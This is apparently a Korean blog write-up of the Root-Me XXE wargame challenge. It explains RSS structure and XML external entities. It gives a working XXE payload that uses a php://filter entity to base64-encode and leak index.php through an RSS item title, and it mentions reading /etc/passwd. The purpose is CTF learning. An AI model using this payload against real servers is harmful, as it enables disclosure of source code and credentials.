ROOTME] XML External Entity

woounnan·2020년 3월 25일
1

wargame

목록 보기
24/59

문제

RSS 링크(XML 파일)를 입력받는 RSS 리더 페이지와
로그인 페이지가 주어진다.
로그인 페이지에서는 관리자 비밀번호를 입력해야지 접근가능하다.


풀이

XXE(XML eXternal Entities) 공격은 외부의 엔티티를 삽입하는 공격이다.

필요한 선행지식은 다음 포스팅을 참고하자.

https://velog.io/@woounnan/WEB-XML-Schema

RSS

RSS는 간단히 다양한 최신 소식을 한 곳에서 확인하기 위해 만들어진 방법이라고 한다.
이용을 위해선 정해진 RSS 규격의 XML 문서를 작성해야 한다.

https://ko.wikipedia.org/wiki/RSS

<?xml version="1.0" encoding="UTF-8"?>
 <rss version="2.0">
  <channel>
    <title>제목</title>
    <link>주소/</link>
    <description>설명 (짤막하게)</description>

    <item>
      <title>제목</title>
      <link>주소/글 주소</link>
      <description>글 내용 전체(또는 일부)</description>
      <pubDate>시간</pubDate>
      <guid>주소/글 주소</guid>
    </item>
  </channel>
</rss>

XXE 공격

외부 엔티티를 불러올 때, 꼭 외부엔티티가 담긴 dtd파일이 아닌 /etc/passwd 같은 파일도 가능하며, wrapper를 사용할 수도 있다.

문제에 적용

문제를 보면 index.php에 로그인 기능이 존재하며, 이 기능을 패스하는 것이 우리의 목표이다.

관리자 패스워드를 확인하기 위해서, 외부 엔티티를 가져오는 구문을 사용해서 index.php의 내용을 불러오자.

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE woou [  
  <!ELEMENT woouLove ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<rss version="2.0">

불러온 엔티티(index.php 코드)를 페이지에 출력시키기 위해, 원하는 지점에 불러온 엔티티를 삽입하자.

    <item>
      <title>&xxe;</title>
      <link>주소/글 주소</link>

앞서 만든 XML 파일을 문제페이지에 로드시키면
base64 인코딩된 index.php 코드가 출력된다.

이 값을 디코딩 시켜서 관리자 패스워드를 획득할 수 있게 된다.


참고

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XML%20External%20Entity%20Attacks%20(XXE)%20-%20owasp.pdf

: XXE공격의 정의와 간단한 공격 종류를 살펴볼 수 있다.

0개의 댓글